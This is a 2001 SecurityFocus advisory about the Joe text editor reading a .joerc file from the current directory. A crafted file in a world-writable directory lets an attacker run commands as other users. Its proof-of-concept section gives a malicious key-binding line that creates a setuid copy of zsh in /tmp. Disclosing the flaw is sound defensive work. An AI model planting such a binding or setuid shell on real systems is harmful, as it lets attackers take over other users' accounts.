Joe Text Editor .joerc Arbitrary Command Execution Vulnerability

BID:2437

Info

Joe Text Editor .joerc Arbitrary Command Execution Vulnerability

Bugtraq ID: 2437
Class: Serialization Error
CVE:
Remote: No
Local: Yes
Published: Feb 28 2001 12:00AM
Updated: Feb 28 2001 12:00AM
Credit: This vulnerability was announed to Bugtraq by Wkit Security AB on February 28, 2001.
Vulnerable: Redhat joe-2.8-40.i386.rpm
+ Redhat Linux 7.0
Redhat joe-2.8-18.i386.rpm
+ Redhat Linux 6.0
Joseph Allen joe 2.8
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 3.5.1
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ Mandriva Linux Mandrake 7.0
+ Mandriva Linux Mandrake 6.1
+ Mandriva Linux Mandrake 6.0
- NetBSD NetBSD 1.5
- NetBSD NetBSD 1.4.3
+ Redhat Linux 7.0
+ Redhat Linux 6.2 sparc
 + Redhat Linux 6.2 i386
 + Redhat Linux 6.2 alpha
 + Redhat Linux 6.1 sparc
 + Redhat Linux 6.1 i386
 + Redhat Linux 6.1 alpha
 + Redhat Linux 6.0 sparc
 + Redhat Linux 6.0 alpha
 + Redhat Linux 6.0
+ Redhat Linux 5.2 sparc
 + Redhat Linux 5.2 i386
 + Redhat Linux 5.2 alpha
 + Slackware Linux 7.1
+ Wirex Immunix OS 7.0 -Beta
 + Wirex Immunix OS 6.2
Not Vulnerable:

Discussion

Joe Text Editor .joerc Arbitrary Command Execution Vulnerability

Joe is a text editor originally written by Joseph Allen. Joe offers a user-friendly interface, with key binding and configuration familiar to many users of Microsoft Word Processing tools.

A problem in the sourcing of the .joerc file could lead to arbitrary execution of commands. By design, joe searches for it's configuration (.joerc) file in three different places. These places are the Current Working Directory (CWD), $HOME/.joerc, and /usr/local/lib/joerc. By creating a custom crafted .joerc file in a world writable directory, a person editing a file in the world writable directory would execute arbitrary commands when starting joe.

Therefore, it is possible for a user with malicious motives to create custom crafted joerc files in world writable directories, and execute arbitrary commands as other users. This could be done through social engineering, and potentially lead to elevated privileges.

Exploit / POC

Joe Text Editor .joerc Arbitrary Command Execution Vulnerability

Copying the /usr/local/lib/joerc file to a world writable directory, the following line can be added to create a malicious key binding:

:def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype

This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe.

Solution / Fix

Joe Text Editor .joerc Arbitrary Command Execution Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.


Redhat joe-2.8-18.i386.rpm

Redhat joe-2.8-40.i386.rpm

Joseph Allen joe 2.8
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